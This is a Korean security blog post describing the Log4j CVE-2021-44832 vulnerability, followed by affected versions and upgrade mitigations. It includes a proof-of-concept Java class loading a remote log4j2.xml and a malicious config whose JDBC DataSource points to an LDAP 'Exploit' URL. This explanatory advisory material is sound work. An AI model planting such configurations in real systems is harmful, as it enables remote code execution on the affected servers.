1. CVE-2021-44832 개요
CheckMarx의 Yaniv Nizry는 log4j에서 JDBC 역직렬화를 시작하기 전 JNDI를 통해 데이터베이스 소스를 동적으로 원격에서 가져오도록 log4j를 구성하는 방법이 있는 것을 확인하였으며, 로깅 Config 파일에서 원격 코드를 실행할 수 있는 JNDI URI를 참조하는 데이터 소스와 함께 Log4j에서 로그파일을 작성하는 클래스인 Logger에서 전달된 메시지의 출력 위치를 지정하는 Appender 중 JDBC 자바 직렬화를 수행하는 JDBC Appender를 사용하여 악의적인 설정을 구성할 수 있다는 것을 확인하였다.
원격 데이터베이스 위치의 구성은 DataSource 요소로 수행되며, 공식 문서를 살펴보면 원격 데이터베이스 위치 구성 예는 아래와 같다.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
<Column ...
</JDBC>
</Appenders>
…
</Configuration>
위 예제에서 보듯이 임의의 LDAP 원격 URL을 넣는데 제한이 없었기 때문에 <DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/> 으로 설정을 변경하게 되면 Payload가 트리거 되면서 공격코드 실행이 가능하게 된다.
공격자는 악성 Config 파일(log4j2.xml)을 업로드 후 아래와 같이 CVE-2021-44228 PoC 에서 수행된 것과 동일한 LDAP (Lightweight Directory Access Protocol) 서버를 사용하여 업로드 되어 있는 악성 Config 파일을 가져오도록 한다.공격자는 악성 Config 파일(log4j2.xml)을 업로드 후 아래와 같이 CVE-2021-44228 PoC(개념 증명)에서 수행된 것과 동일한 LDAP(Lightweight Directory Access Protocol) 서버를 사용하여 업로드 되어 있는 악성 Config 파일을 가져오도록 한다.
//log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/log4j2.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
}
그후 Lgo4j에서 악성 Config 파일을 로드 하면서, 아래와 코드와 같이 DataSurce jndiName에 의해 페이로드가 트리거되고 시스템에서 Exploit이 실행된다.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>
2. 영향받는 Log4j 버전
2.0-beta9 ~ 2.17.0 이하
※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 취약점의 영향을 받지 않음
3. 대응 방안
- Java 8 이상 : Log4j 2.17.1으로 업데이트
- Java 7 : Log4j 2.12.4으로 업데이트
- Java 6 : Log4j 2.3.2로 업데이트
최신 버전으로 업데이트가 불가능한 경우 아래와 같이 임시 조치
- JDBC Appender가 사용 중인 경우 JAVA 이외의 프로토콜을 사용하도록 구성되지 않았는지 확인
- JAVA 이외의 프로토콜을 사용하도록 구성되어 있는 경우 JAVA 프로토콜만 지원하도록 설정
- Log4j 2.17.1(Java 7 및 Java 6의 경우 2.12.4 및 2.3.2)부터 JDBC Appender는 JndiManager를 사용하고 JNDI를 활성화하려면 log4j2.enableJndiJdbc 시스템 속성에 true값이 포함되야 함
- 2.3.1, 2.12.2, 2.12.3 또는 2.17.0부터 LDAP프로토콜 지원이 삭제되었으며, JNDI 연결 시에 JAVA 프로토콜만 지원되도록 JNDI 기능 강화되었음
위의 임시조치는 어디까지나 임시조치이기 때문에 서비스 영향도를 고려하셔서 업데이트 계획을 수립 후 최신 버전의 Log4j로 업데이트를 권고하고 있다.
[참고자료]
https://logging.apache.org/log4j/2.x/security.html
https://nvd.nist.gov/vuln/detail/CVE-2021-44832
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/
'Infomation > Vulnerability' 카테고리의 다른 글
CVE-2021-45105 Log4j Vulnerability (0) | 2021.12.23 |
---|---|
CVE-2021-45046 Log4j Vulnerability (0) | 2021.12.23 |
CVE-2021-44228 Log4j Vulnerability (0) | 2021.12.22 |